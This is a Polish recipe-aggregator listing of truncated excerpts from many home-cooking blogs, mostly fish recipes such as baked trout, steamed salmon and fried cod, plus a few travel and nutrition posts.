bulionu 300 gram świeżych prawdziwków sól, pieprz, olej, mąka, cytryna, masło Sposób wykonania: Oczyszczonego szczupaka umyłam, pokroiłam w dzwonka, posypałam solą, pieprzem, skropiłam sokiem z cytryny. Olej podgrzałam, dzwonka ryby panierowałam w mące, usmażyłam, przełożyłam(...)naczynia. Grzybki oczyściłam,umyłam, pokroiłam w plasterki, smażyłam na wolnym ogniu z dodatkiem niewielkiej ilości masła. Zalałam dwiema szklankami bulionu, zagotowałam, dodałam śmietanę, ponownie zagotowałam. Tak przygotowanym sosem polałam rybę. Zapiekałam w temp. 180 stopni przez 25 minut

Darcia w kuchni
Delikatny łosoś z kokosową cukinią i ziemniaczkami 138

ziemniaczkami przygotowanymi na parze to strzał w dziesiątkę :) Całe danie jest lekkie i niskotłuszczowe, ale zdrowe ze względu na cenne tłuszcze występujące w rybie. Dodatkowo nie zajmuje dużo czasu z uwagi na przygotowanie ryby i cukinii na patelni :) Delikatny łosoś z kokosową cukinią i ziemniaczkami składniki na 2 porcje 1 cebula 1 średnia cukinia płaska łyżeczka oleju kokosowego extra(...)Małą patelnię rozgrzać i podprażyć na niej wiórki kokosowe. Dodać do cukinii. Całość doprawić do smaku solą i pieprzem i smażyć przez chwilę pod przykryciem, aby cukinia była chrupka. Rybę podzielić na dwie części, oprószyć delikatnie solą i wyłożyć na rozgrzaną patelnię, smażyć pod przykryciem przez około 10 minut (bez dodatku tłuszczu), na końcu doprawić świeżo zmielonym pieprzem. Przed podaniem

FitKot
Nigiri sushi z łososiem 162

jednego rodzaju rybę lub owoc morza. Sushi podane w każdej formie powinno spełniać pewne warunki. Składniki użyte do potrawy muszą być świeże i najlepszej jakości. Ponadto bardzo ważny jest aspekt estetyczny. Potrawa musi być przygotowana do zjedzenia na jeden kęs oraz wyglądać ładnie i być starannie podana. Nigiri są to ręcznie formowane bloczki ryżu przykryte kawałkiem ryb, owoców morza

mojewypiekiinietylko
pstrąg pieczony w folii nadziewany serem feta 112

feta podusić, dodać czosnek i 2 łyżeczki posiekanego świeżego koperku.  Do miękkiego masła dodać posiekany koperek i czosnek. Dobrze wymieszać, doprawić.  Do środka każdej ryby włożyć wcześniej przygotowany farsz feta.  Pstrągi spiąć wykałaczkami(...)Pstrągi przełożyć na folię posmarowaną olejem. Ja położyłam paper do pieczenia. Na wierzchu każdego pstrąga położyć kawałki czosnku i masła. Folię zawinąć. Piekarnik nagrzać do temperatury 200 stopni Celcjusza. Rybę wstawić do piekarnika na około 20 minut.  Następnie odwinąć folię i piec jeszcze przez 20 minut. Po upieczeniu zdjąć z folii

Darcia w kuchni
roladka z pstrąga na szpinaku 145

przyprawy: świeży czosnek, sól, pieprz, cytryna Sposób wykonania: Rybę wyfiletowałam , każdą poporcjowałam na 4 kawałki, posypałam solą, pieprzem, skropiłam sokiem z cytryny. Szpinak umyłam, liście pokroiłam na mniejsze kawałki. na patelnię dałam odrobinę masełka i szpinak, zblanszowałam, dodałam 2 łyżki śmietany, sól i czosnek, delikatnie odparowałam, przestudziłam. Na każdy środek ryby nałożyłam łyżeczkę szpinaku, zawinęłam, szpinak który mi pozostał

Darcia w kuchni
Łosoś na parze z pieczonymi burakami 158

dużo pracy, a nie zwykle apetyczne i lekkie danie!!  Łosoś jest ulubioną rybą większości z nas. Każdy przyrządza go na swój sposób, ale ja, od kiedy spróbowałam łososia przygotowanego na parze - nie jadam go inaczej! Nie muszę chyba was zapewniać jak wartościowe jest gotowanie ryb, czy warzyw na parze :) Nie wypłukujemy ani ich wartości odżywczych, ani walorów estetycznych(...)osuszamy. Przyprawy: szczyptę soli i pieprzu, oraz łyżkę majeranku mieszamy i nacieramy nimi filet. Łososia gotujemy na parze, skórką do dołu, na średniej mocy palnika przez 15 - 20 minut. Ryba przygotowana w ten sposób jest bardzo lekka, zdrowa i przepyszna. Nie traci swojej wilgotności i smaku. Polecam spróbować! Do dania świetnie pasuje kasza lub ryż. Smacznego!! aakuku

aa-kuku - czyli jak żyć zdrowo i pysznie!
Kotleciki mielone z pęczakiem 200

Czasami idę z nią coś zjeść "na wagę". Nie narzekamy. Obie wybieramy to, co lubimy (ona: ryba, kluseczki i czerwona kapusta, a ja szpinak, kasza gryczana i również ryba). I pogadać razem fajnie możemy.  Z dwójką dzieci rzadko chodzimy do restauracji. Jeżeli całą rodziną, to najczęściej latem i tam, gdzie jest ogródek i trochę miejsca dla dzieci. Wśród opolskich(...)się! (Franek jeszcze nie poznał słowa "nudzi", a my go nie poprawiamy, bo ja baaaardzo lubię te przeinaczenia). Za chwilę odzywa się drugie: długo jeszcze??? Ja nie chcę ryby! Ja nie będę jadł mięska! Nie zamawiaj mi nic zielonego! Przy tej całej dyskusji trzeba jeszcze uważać na samościągające się obrusy i samobujające się krzesła... Och, zapomniałabym dodać. Czasami zamówiony

bistro mama
Smażone dzwonka z leszcza marynowane w winie, sosie sojowym i soku z limonki. 150

łyżka sosu sojowego   2 łyżki soku z limonki   1 łyżeczka pieprzu cytrynowego   1/2 łyżeczki soli Przygotowanie:  Leszcza oczyszczamy odcinamy głowę, ogon oraz płetwy. Następnie rybę dokładnie myjemy, osuszamy za pomocą papierowych ręczników i kroimy na dzwonka o szerokości około 2-3 cm. Wino mieszamy w misce z sosem sojowym, sokiem z limonki i przyprawami, mieszamy. Pokrojoną(...)rybę przekładamy do marynaty i odstawiamy do lodówki na minimum 2 godziny, a najlepiej na całą noc. Po tym czasie kawałki leszcze osączamy z marynaty i obtaczamy po kolei w mące, roztrzepanym jajku i bułce tartej. Na patelni rozgrzewamy masło i kładziemy opanierowanego leszcza. Rybę smażymy ze wszystkich stron na złoty kolor przez około 3-4 minuty z każdej

Symfonia smakowa
Dorsz z piekarnika na kołderce z bakłażanem i pomidorków 199

skropić trochę oliwą. Ułożyć rybkę na górze i posypać wszystko delikatnie mieszanką z suszonych ziół oraz skropić rybkę sokiem z cytryny ( nie jest to konieczne ) Podobno cytryna wzbogaca smak ryby Wstawić naczynie do nagrzanego piekarnika do 200 C i zapiekać 12-15 minut. Podawać z pieczonymi lub gotowanymi ziemniakami. Smacznego

Kuchnia Pokoleń
Skomponuj swój idealny lunch! 176

trawieniem. Produkty zawierające białko dzielimy na dwie grupy - pełnobiałkowe, w skład których wchodzą wszystkie niezbędne aminokwasy oraz te, w których brakuje przynajmniej jednego aminokwasu. Produkty pełnobiałkowe to : mięso, ryby, jaja,  mleko i inne produkty mleczne, soja Do drugiej grupy należą: fasola groszek, orzechy ziarna, pestki Więc które z nich najlepiej wybrać?  Jest mnóstwo opcji, m.in : pierś(...)mają najwyższą wartość odżywczą. Zatem powinniśmy spożywać jak najwięcej tłuszczy właśnie z tej grupy!  lniany słonecznikowy  sojowy kukurydziany z orzechów i nasion Znajdziemy je także w tłustych rybach morskich, jak : łosoś makrela śledź sardynka A ponadto w :  nasionach dyni nasionach słonecznika w orzechach  Jedna porcja tłuszczu odpowiada jednej łyżce oleju roślinnego, 100 g łososia

Kuchnia Ellie
Zachwytu Ukrainą c.d. (3) 192

cudeniek zmiażdżyły :-/. Ale zdobędę i wstawię :-). Jeszcze na uwagę, według mnie, zasługują niesamowite przekąski do piwa. Zaliczają się do nich, także wyżej wymienione sucharki ale najbardziej zdziwiły mnie suszone ryby. Można je kupić w wersji mini w każdym sklepie(...)wersji max na targach rybnych ( polecam w Latyczowie). Są ich przeróżne rodzaje - są bardzo słone, mięso jest dość twarde ale naprawdę bardzo dobre. Jadłam kilka rodzajów tak podanej ryby jednak nazw nie pamiętam. Ale bardzo ciekawe w smaku były dla mnie suszone kalmary - podobno afrodyzjak :-). Do piwa idealne Ulubionym moim sposobem ich jedzenia jest odrywanie małych słodko-słonych niteczek

sierotka maRysia w kuchni
Szczypta Hiszpanii - Terremolinos, Ronda, Malaga (Andaluzja) 155

smażone nad żarem sardynki posypane grubą solą morską (ryby te można jeść w całości). Rybki te smaży się nad rozgrzanymi węgielkami drzewnymi na takich ciekawych łódeczkach - wystarczy nadziać rybę na długą wykałaczkę, wbić ją w piach pod kątem 45 stopni i po kilkunastu minutach są gotowe. Pierwsze doznania restauracyjne i już jest super. Następnie zajadaliśmy się smażonymi kalmarami. Lekka

Right Behind The Kitchen
Piątkowe Inspiracje - dorsz smażony w panierce 158

Kolejne klasyczne danie w naszej kuchni to dorsz smażony w panierce. Najczęściej kupujemy dorsza, bo nie jest nasączony wodą i lodem jak inne ryby, prawie nie ma ości, mięso ma kruche i grube,czasem nieco suche, ale nam to wcale nie przeszkadza. Często z dorsza robię  kotlety rybne , dzisiaj dorsz smażony. Zachęcam! 2 filety z dorsza 2 jajka(...)posolić, bułkę tartą wsypać do miseczki. Filety panierować z każdej strony w jajku i w bułce. Smażyć na mocno rozgrzanym oleju z każdej strony na złoty kolor. Usmażone kawałki ryby, mniam :) Pyszna panierka i jeszcze pyszniejsze wnętrze Nasza propozycja podania - z ziemniakami i surówką z selera naciowego (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Sałatka z wędzonego węgorza, pomidorów i jaj 576

Wędzone ryby to bogactwo nienasyconych kwasów tłuszczowych omega 3 i dlatego warto jej jadać, organizm ich potrzebuje teraz jeszcze bardziej. Zapraszam na pyszną sałatkę z wędzonym węgorzem. Sałatka z wędzonego węgorza, pomidorków i jaj. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
PASTA Z WĘDZONĄ MAKRELĄ JAJKIEM I CEBULKĄ 137

Makrela to gatunek dość niedocenianej ryby w Polsce. A szkoda, ponieważ jest szczególnie bogata w kwasy omega-3,  jod,  fosfor, potas, wapń, magnez i żelazo. Czyli pierwiastki niezbędne do prawidłowego działania naszego organizmu.   Dziś polecam pastę z tej morskiej rybki. Składniki: makrela wędzona 2-3 szt.jajek (można zamiast jajek użyć białego sera) 1 szt.małej cebuli(...)Sposób przyrządzania:      Pokroiłam drobno cebulkę i dymkę. Rybę dokładnie obrałam.                                          Ugotowane na twardo jajka pokroiłam w kostkę

potrawyregionalne
PAELLA Z OWOCAMI MORZA I KURCZAKIEM 141

Paella jest potrawą hiszpańską. Sporządza się ją na głębokiej patelni zwanej paellera. Rozróżnia się tradycyjną paellę z mięsem, paellę marinara z rybami i owocami morza oraz paellę mixta, stanowiącą połączenie obu. Moja paella jest może nie do końca taka jak przyrządzają ją Hiszpanie... ale kuchnia jest takim miejscem,że można eksperymentować i bawić się smakami i składnikami. Smakowała(...)kawałki i podsmażyłam na patelni. To samo zrobiłam z cebulą. Dodałam do niej sporo ostrej i słodkiej papryki. Pod koniec smażenia, również starte ząbki czosnku. Następnie pokrojoną nas kawałki rybę. zielony groszek mieszankę owoców morza   Dodałam podsmażoną wcześniej pierś z kurczaka. Podlewałam wszystko bulionem i sosem rybnym. Następnie goście główni-czyli krewetki. Zostały obrane  i potraktowane jako następny

potrawyregionalne
SOLA ZE SZPINAKIEM I SOSEM KOPERKOWYM 155

Sola jest chudą rybą atlantycką. Polecam jedzenie ryb ponieważ zawierają   kwasy tłuszczowe z rodziny omega-3,jod,selen,witaminę D,wapń i magnez. Proponuję dziś filety z soli z sosem koperkowym ze szpinakiem i pieczonymi ziemniakami. Zacznijmy od sosu. W miseczce wymieszałam jogurt grecki i sporo świeżego koperku. Dodałam sól,pieprz i sok z połowy cytryny. W garnku

potrawyregionalne
Pstrąg w sosie pomidorowym Graal na przystawkę 137

dnie naczynia ułożyć lekko pokrojoną rzeżuchę, na wierchu ułożyć rybę wraz z sosem w całości, Przykryć bokiem drobno posiekaną papryką szczypiorkiem , udekorować koperkiem i podawać na stół jako przystawkę lub lunch. Dostałam do testowania rybki w puszkach. Tym razem postanowiłam przygotować pstrąga w pomidorach na przystawkę. Ten pyszny kawałek ryby ukryty pod aksamitnym sosem może zachwycić niejednego amatora rybek

Gotowanie jest łatwe
Kotlety rybne 132

ryby (miruna) 1 cebula 3 łyzki bułki tartej 1 jajko sól pieprz ziołowy pieprz pomarańczowy natka pietruszki 1 łyżeczka tymianku bułka tarta do panierowania olej do smażenia Rybę rozmrozić, wypłukać w wodzie i osączyć na cedzaku. Zemleć w maszynce do mięsa. Dodać bułkę tartą jajko i przyprawy do smaku. Uformować 6- 7 kotletów opanierować w bułce tartej i smażyć

Gotowanie jest łatwe
Tydzień włoski w LIDL Polska od 19 pazdziernika – DOLCE VITA w zasięgu ręki 133

przede wszystkim dzięki lokalnym produktom nie do podrobienia. Znana z wyśmienitych makaronów, najsmaczniejszych serów, gdzie niewątpliwie królem jest parmezan, gorgonzola, mozzarella czy chociażby ricotta. Cucina italiana obfituje w ryby i frutti di mare, w niezliczoną ilość owoców, warzyw i ziół. Włosi to naród , który kocha jeść, kocha swoje kulinarne dziedzictwo i za nie mógłby nawet polec w bitwach(...)uśmiecha szklaneczką wina do nieznajomych, bijąca cennym sercem karczocha. Kto raz był...kto raz zasmakował..cierpieć będzie i tęsknić. Za oliwą, oliwkami, papryką. Za winem, likierami, kawą. Za makaronem, rybami, szynką. Za serami, serami, serami... Żeby tego wszystkiego skosztować, powąchać, doświadczyć na własnej skórze- niekoniecznie musimy się zaraz pakować, kupować bilet do Rzymu, Parmy czy Mediolanu.  Nie musimy

Z Kuchni Do Kuchni
Halibut z sosem pomidorowym i salsą 155

Idealna ryba na piątkowy obiad. Składniki 6 filetów z halibuta ( każdy po 200 g ) 2 łyżki mąki pszennej 2 łyżeczki octu balsamicznego sól pieprz 1/4 szklanki oliwy z oliwek 2 łyżki oleju do posmarowania papieru listki bazylii Sos pomidorowy : 750 g obranych pomidorów 4 łyżki oliwy z oliwek 3 łyżki octu balsamicznego sól pieprz Salsa : 2 małe fenkuły 2 obrane(...)wyłożyłem pergamin, wstawiłem do piekarnika na 15 minut ( piekarnik rozgrzany do 200 stopni C ). Gorący papier posmarowałem olejem, ułożyłem na nim filety ( mąką do dołu ) , zapiekałem 20 minut. Upieczone ryby podałem w sosie, posypane posiekaną bazylią, z dodatkiem salsy

R'n'G Kitchen
smaczna ryba płotka grillowana... 161

cytryny 1 łyżeczka, kucharek 3/4 łyżeczki, pieprz czarny mielony 1/2 łyżeczki, papryka ostra mielona 1/2 łyżeczki, natka pietruszki 1 pęczek, filety rybne 2 większe płotki 2 większe filety ryby płotka opłukać, osuszyć na ręczniku papierowym, z oleju, pieprzu, papryki, kucharka, soku z cytryny przygotować marynatę, natrzeć filety i odstawić na 1 godzinę do lodówki patelnię grillową na sucho mocno(...)każdej strony natkę pietruszki zmiksować w pojemniku rozdrabniacza i 3 minuty przed końcem grillowania posmarować stronę fileta bez skóry 2 łyżkami na każdy filet podać z cytryną, pieczywem - ryba płotka jest delikatna, nie tłusta, zdrowa.....................SMACZNEGO

W Mojej Kuchni Lubię
Dorsz z cytryną, szałwią i pieprzem cytrynowym 107

się zakupić taką piękną tuszkę dorsza atlantyckiego i stąd moja dzisiejsza potrawa. Dorsz podany prosto ale bardzo smakowicie, może komuś przypadnie do gustu czytaj smaku. Zachęcam do przygotowania ryby. Dorsz z cytryną, szałwią i pieprzem cytrynowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Paluszki rybne w migdałowej panierce z sosem jogurtowo- koperkowym 144

Żeby zachęcić moje dzieci do jedzenia ryby, często robimy razem paluszki rybne- na różne sposoby. Tradycyjnie- panierowane w bułce tartej, ale najczęściej w pokruszonych płatkach migdałowych- te smakują im najbardziej. Polecam też wypróbować obtaczane w wiórkach kokosowych. Najlepiej smakują z lekkim sosem np. jogurtowo- koperkowym a do obiadu np. z ryżem. Polecam. Składniki(...)łyżki mąki pszennej olej do smażenia Na sos jogurtowo-koperkowy: 4 łyżki jogurtu naturalnego 2 łyżki śmietany kwaśnej 18% łyżka posiekanego koperku sól i pieprz do smaku Filety z ryby osuszyć ręcznikiem papierowym, pokroić wzdłuż na cienkie paski a następnie w poprzek tak aby wyszły kawałki 7-10cm. Posolić i odstawić na 15 min. do lodówki. Panierować

Maślane ciasteczko
Ziemniaczana zapiekanka z leśnymi grzybami 145

więc grzyby nazbierane, więc musiałam je jakoś wykorzystać. Kolczaki usmażyłam i dodałam do ziemniaczanej zapiekanki. Ziemniaczana zapiekanka to bardzo popularne szwedzkie danie , które idealnie pasuje do pieczonego mięsa lub ryby. Zapiekanka ma kremową konsystencję, a powstały sos podczas pieczenia z powodzeniem zastąpi tradycyjny sos. Ziemniaczana zapiekanka z leśnymi grzybami Składniki: 4 – 6 porcji okrągła forma o średnicy(...)piecz przez około 4o minut. Na 15 minut przed końcem pieczenia przykryj zapiekankę aluminiową folią. Gotową zapiekankę wyjmij z piekarnika. Nabieraj łyżką i podawaj zapiekankę do mięsa lub ryby

codojedzenia
Pasta z wędzonej makreli. 90

ości. Zawsze robie to powoli ponieważ później delektując się pastą na kanapce nie chce natrafić na ość która odbiera apetyt ;-). Następnie widelcem rozgniatamy rybę do swojej ulubionej konsystencji. Cebule kroimy w drobną kostke, dodajemy do ryby. Majonez oraz keczup także, dokładnie mieszamy. I gotowe! Smakuje pysznie! polecam jak najbardziej! Smacznego

Radość kipiąca uśmiechem.
Pieczona flądra. Nadziewane pieczone papryki. 190

usmażyła ryby ;-))) Polecam! SKŁADNIKI: - flądry - oliwa z oliwek - sól morska Flądry układamy na pergaminie. Skrop oliwą z oliwek, posyp solą. Pieczemy krótki czas w wysokiej temperaturze. Dzięki temu ryba zachowa wilgoć. Będzie soczysta a nie sucha! temp. 220 stopni czas 13 minut Na placuszki: - 2 małe cukinie - 2 marchewki młode - łyżka mąki pszennej - 1 białko Warzywa ścieramy na tarce

SMYKWKUCHNI
pieczony sandacz na grillowanym bakłażanie 180

pietruszki  1/2 cytryny  Pieprz  Sól Sposób przygotowania Filety z sandacza bez skóry posypujemy solą i pieprzem(najlepiej białym), a następnie skropiamy sokiem z cytryny. Tak przyprawioną rybę odstawiamy na godzinę w chłodne miejsce. Bakłażana myjemy  i kroimy w cienkie plastry. Solimy  i  odstawiamy na 10 minut W tym czasie rozgrzewamy piekarnik, oraz grill. Osuszamy(...)grillu. Następnie do piekarnika nagrzanego do 220 stopni wkładamy posmarowane oliwą filety sandacza i pieczemy około 15 minut. Grillowane plastry bakłażanów układamy na talerzu, na nich kładziemy porcję ryby i   posypujemy natką pietruszki

Miód i pieprz
Razowe spaghetti z pikantnymi krewetkami 105

które uważa je za "robaki morskie" i za nic nie tknie. Zupełnie niepotrzebnie bo jeśli lubimy ryby to i krewetki powinny nam smakować. Powiem więcej... nie jestem fanką ryb ale krewetki uwielbiam ;) Sekretem ich przyrządzenie jest krótka obróbka cieplna. Krewetki przeciągnięte za długo na patelni stają się gumowe i mało atrakcyjne

Pyry na Gaz
Pasta rybno -jajeczna 140

Wszelkiego rodzaju pasty to świetny dodatek do kanapek . Może też być podana jako przystawka . Nie bez znaczenia jest również fakt iż jest to sposób na nie zjedzoną rybę z wczorajszego dnia. I właśnie o takim przepisie chcę napisać. Skład na dwie porcje 1 ryba z grilla ( może być pieczona , smażona) 2 jajka ugotowane na twardo 1 pęczek szcypioru 1 łyżka(...)majonezu 1 łyżeczka masła 1 pomidor 1/2 główki sałaty pierzastej Sposób wykonania Rybę ,jajko rozdrabniam (ja to robię widelcem ,ponieważ blender zrobi papkę a moja rodzinka nie lubi takich papek) dalej dodaję : masło,majonez. Dokładnie mieszam . Soli i pieprzu nie dodaje ponieważ ryba była porządnie przyprawiona( została mi z pstrąga w   papilotach

Eli Gotowanie
Łosoś w sosie z bobu 121

Łosoś to  wdzięczna ryba . Dużo mięska, mało ości i smaczna w każdej postaci . Dość często gości gości na moim stole . Dlatego staram się wyślać nowe sposoby podania tej ryby . Tak aby nie było nudno.  Spróbowałam z bobem i udało się

Eli Gotowanie
Mintaj z pomidorami i mozzarella. 139

Dziś szybka propozycja na obiad rybny. Ryba może być właściwie każda więc do dzieła! Składniki; 4 filety mintaja (może być też mrożona kostka) 1 puszka pomidorów bez skóry 2 małe marchewki 150 ml śmietany 125 g mozzarelli olej, sól, pieprz. zioła prowansalskie Przygotowanie; Marchewki obieramy i ścieramy na dużych oczkach. Podsmażamy na patelni na odrobinie oleju. Następnie dodajemy pomidory(...)uzyskania jednolitej konsystencji. Na dnie naczynie żaroodpornego układamy obok siebie filety mintaja, polewamy wcześniej przygotowanym sosem z pomidorów. Mozzarellę ścieramy na tarce o grubych oczkach i posypujemy równomiernie rybę zalaną sosem. Pieczemy 40 minut w 200 stopniach. Jeśli nie lubimy bardzo spieczonego sera, danie posypujemy serem około 15 min przed koncem. Dodatkowo rybę przed ułożeniem w foremce możemy

Radość kipiąca uśmiechem.
dorsz smażony na maśle z bakłażanem i leśnymi grzybami 119

Dorsz smażony na maśle z bakłażanem i leśnymi grzybami Aromat duszonych leśnych grzybów i pieczonego bakłażana doskonale współgra ze smażoną na maśle delikatną morską rybą. Składniki  dla czterech osób 2 średnie dorsze lub 800 g filetów ze skórą 250 g świeżych leśnych grzybów 1 cebula (najlepiej cukrowa) 1 spory bakłażan 5 łyżek masła 9 łyżek oliwy sól, pieprz ewentualnie(...)stron  filety dorsza, zawsze zaczynając smażenie od strony ze skórą. Na każdy talerz wykładamy po dwa plastry pieczonego bakłażana, układamy na nich usmażone na maśle kawałki ryby i dodajemy duszone grzyby

Miód i pieprz
Kotlety rybne. 141

średnia cebula, pęczek natki pietruszki, łyżka świeżego kopru, 5 łyżek bułki tartej, sól, pieprz, olej do smażenia. Przygotowanie: Filety rybne zmielić przez maszynkę (jeżeli ryba jest w całości najpierw dokładnie ją oczyścić). Do zmielonej ryby dodać cebulę pokrojoną w kostkę, posiekany koper i pietruszkę oraz bułkę namoczoną  w wodzie i dobrze odsączoną. Dodać sól, pieprz i dokładnie wymieszać

W kuchni u Moniki
Nad morzem 199

idę na rybkę, taki zwyczaj. Tym razem z rodzinką kupiliśmy dwa zestawy dla dwojga, w którym były trzy różne rodzaje ryb do tego frytki i zestaw surówek. Każda ryba była pyszna, ale wyjątkowo zasmakował mi łosoś przeważnie nie jadam łososia i nie bardzo wiedziałam jak smakuje ale gdy tylko spróbowałam zasmakował mi bardzo :) jeśli będę miała okazję to spróbuje(...)jeszcze nie raz. A o to zdjęcie naszej uczty rybnej :D  Chciał się Wam zapytać macie jakąś swoją ulubioną rybę? Z czym ją podajecie? A może macie przepis/recepturę na pyszną rybkę? Pozdrawiam

Motylkowa Kuchnia
Rybna przygoda 170

razem była to prawdziwie wodna przygoda. Coś co wodniki-szuwarki lubią najbardziej. Uczestnicy jak zwykle dopisali gwarantując wspaniałą atmosferę. Celem tych warsztatów było odmienienie zwykłej metody na przygotowanie ryby oraz poznanie rodzimych gatunków. Coś innego niż zwyczajowe smażenie w panierze.  Jak zwykle dużo cennych uwag prowadzącego, które Hońka zapewne wykorzysta. Wiadomo, że w domowych pieleszach(...)będę używać syfonu do robienia pianek, bo go najzwyczajniej w świecie nie posiadam, ale zawsze warto poznać dodatkowy sposób na urozmaicenie rybnego obiadu. Hitem warsztatów jednak okazały się nie ryby ale raki. A konkretnie ich szyjki, z których został wyczarowany smakowy sosik. Podobno raki są niedoceniane - cóż, skoro nie można ich nigdzie nabyć, to jak można je docenić? Niemniej

Karczma Honorietty
Ryby smażone chrupiące. 155

płotek i jak zrobić ,aby były takie płaskie. Najpierw odciąć  głowy, a zostawić ogony i skrzela. Przeciąć kręgosłup przy ogonie i delikatnie wyciągnąć go palcami od strony głowy. Rybę ułożyć rozcięciem na brzuchu  i nacisnąć dłonią dzięki czemu ryba rozłoży się na płasko. Składniki: 8 płotek sól pieprz 2 łyżki mąki 2 jajka sezam do panierowania olej(...)smażenia Płotki sprawić według opisu powyższego. Każdą płotkę oprószyć solą i pieprzem. Jajka wbić do miseczki i roztrzepać widelcem. Każdą rybę obtoczyć w mące, jajku , a następnie w sezamie. Smażyć na rozgrzanym oleju z każdej strony na rumiany kolor. płotki w sezamie

O kuchni z uczuciem
sandacz ze szpinakiem 184

słodkiej śmietany 30%           sposób przygotowania Filetujemy sprawionego i  oczyszczonego sandacza.     Następnie rybę posypujemy solą i pieprzem(najlepiej białym), a następnie skrapiamy sokiem z połowy cytryny. Tak przygotowaną rybę, odstawiamy na co najmniej godzinę w chłodne miejsce. Myjemy szpinak (najlepiej użyć świeżego) i przesmażamy go na patelni na trzy łyżkach rozgrzanej oliwy(...)trzy łyżki masła z łyżką oliwy, czekamy, aż patelnia stanie się naprawdę gorąca, uważając przy tym, żeby nie spalić masła (dodatek oliwy podnosi temperaturę dymienia masła).  Następnie przesmażamy rybę ( wyciągniętą z lodówki i obsuszoną papierowym ręcznikiem), pamiętając, aby zawsze zacząć smażenie od strony skóry. Sandacza smażymy z obu stron na złoty kolor, skrapiając go na koniec smażenia, sokiem

Miód i pieprz
Wyjątkowy łosoś grillowany na desce cedrowej z nutą pomarańczy 136

najlepsze wyniki Łososia grillujemy na deskach skórą do dołu i nie dotykamy go dopóki sam łatwo nie będzie odchodził od deski Łatwym sposobem aby zabezpieczyć rybę przed klejeniem do deski jest posypanie skóry ryby odrobiną mąki kukurydzianej Składniki: Filety z łososia ze skórą Sól i pieprz skrobia kukurydziana oliwa z oliwek 2 pomarańcze, jedną kroimy w cienkie plasterki

naRuszcie
Łosoś w rękawie pieczony z porem 137

Czas na łososia. Obecnie dostępny w wielu sklepach i bardzo dobrze, bo to smaczna i zdrowa ryba. Ogólnie ryby są zdrowe, można je nie tylko smażyć, ale piec, gotować w wodzie, i na parze. Dzisiaj łosoś trochę inaczej, upieczony w rękawie foliowym. Składniki: Łosoś (kawałki ) 1 por Pieprz cytrynowy Sól Wykonanie: Łososia myjemy, osuszamy, przyprawiamy solą, pieprzem cytrynowym. Pora

Smaki Ewy
Grillowana polędwica z miecznika 110

Dzisiaj proponuję polędwicę z miecznika. Muszę przyznać , że to bardzo smaczna i efektowna ryba. Podobnie jak tuńczyk, pozbawiony jest ości. Mimo sporej ceny warto spróbować tej ryby. Propozycja podania z purre warzywnym ( przepis na blogu ). Składniki: Polędwica z miecznika Sól Pieprz czarny świeżo mielony Oliwa Wykonanie: Miecznika przyprawiamy solą i pieprzem i lekko wcieramy. Następnie skrapiamy oliwą. Pozostawiamy

Smaki Ewy
Halibut zapiekany z papryką i selerem naciowym 177

Kolejny piątek i kolejna ryba. Rybny piątek chyba tak wrósł w pamięć, że chyba już tak pozostanie. Ale to dobry piątek, bo zdrowy z rybą. Chciałam halibuta przygotować inaczej i tak powstał halibut zapiekany z papryką i selerem naciowym. Składniki: Dowolna ilość halibuta ( 2 kawałki na „głowę” ok. 10X5 ) 2 papryki ( żółta i czerwona ) 3 gałązki selera naciowego Sos paprykowy(...)selera naciowego. Na maśle klarowanym przesmażamy selera wraz z pokrojoną papryką. Doprawiamy solą, pieprzem i sosem paprykowym. Do miseczek do zapiekania nakładamy na dno paprykę z selerem, na to rybę i ponownie paprykę z selerem. Zapiekamy około 15 -20 minut w temp. 180 o C. Podajemy gorące. Można spróbować zastąpić sos paprykowy, sosem pomidorowym, nie robiłam tego, ale jest duże

Smaki Ewy
Restauracja La Falua w Benidorm - śródziemnomorskie kulinarne szaleństwo 148

podróży będzie na blogu dużo więcej – sporo  bowiem z tego, co tam degustowaliśmy i oglądaliśmy  chcielibyśmy skopiować w domu. Nie liczę oczywiście na tą ogromną różnorodność ryb i owoców morza – ale i w naszych sklepach co raz więcej z tego asortymentu  możemy znaleźć. Restauracja La Falua to 3-gwiazdkowy lokal na ulicy Calle Santander 22 - położony(...)ryżu przygotowywane na specjalnych patelniach i podawane z najrozmaitszymi składnikami. Klasyka to paella z mięsem królika i kurczaka, ale oczywiście królują tu dodatki takie jak owoce morza i ryby. Na naszej puszył się okazały homar, którego pokazujemy na zdjęciu ( tu już rozkrojony ). Mięso z odwłoka wydobył nam kelner, ale do szczypców dostaliśmy specjalne narzędzia. Nie było łatwo, ale zabawy

Smaki Ewy
Pieczony sandacz na grillowanym bakłażanie 143

cytryny  Pieprz  Sól Sposób przygotowania Filety z sandacza bez skóry należy posypać solą i pieprzem(najlepiej białym), a następnie skropić sokiem z cytryny. Tak przyprawioną rybę odstawiamy na godzinę w chłodne miejsce. Bakłażana myjemy  i kroimy w cienkie plastry. Solimy  i  odstawiamy na 10 minut W tym czasie należy rozgrzać piekarnik oraz grill. Osuszamy bakłażany(...)grillu. Następnie do piekarnika nagrzanego do 220 stopni wkładamy posmarowane oliwą filety sandacza i pieczemy około 15 minut. Grillowane plastry bakłażanów układamy na talerzu, na nich kładziemy porcję ryby i   posypujemy natką pietruszki

Miód i pieprz
Smażony dorsz 131

Dorsz smażony na maśle z bakłażanem i leśnymi grzybami Aromat duszonych leśnych grzybów i pieczonego bakłażana doskonale współgra ze smażoną na maśle delikatną morską rybą. Składniki dla czterech osób 2 średnie dorsze lub 800 g filetów ze skórą 250 g świeżych leśnych grzybów 1 cebula (najlepiej cukrowa) 1 spory bakłażan 5 łyżek masła 9 łyżek oliwy sól, pieprz ewentualnie szczypior(...)stron  filety dorsza, zawsze zaczynając smażenie od strony ze skórą. Na każdy talerz wykładamy po dwa plastry pieczonego bakłażana, układamy na nich usmażone na maśle kawałki ryby i dodajemy duszone grzyby

Miód i pieprz
Krem z zielonego groszku 175

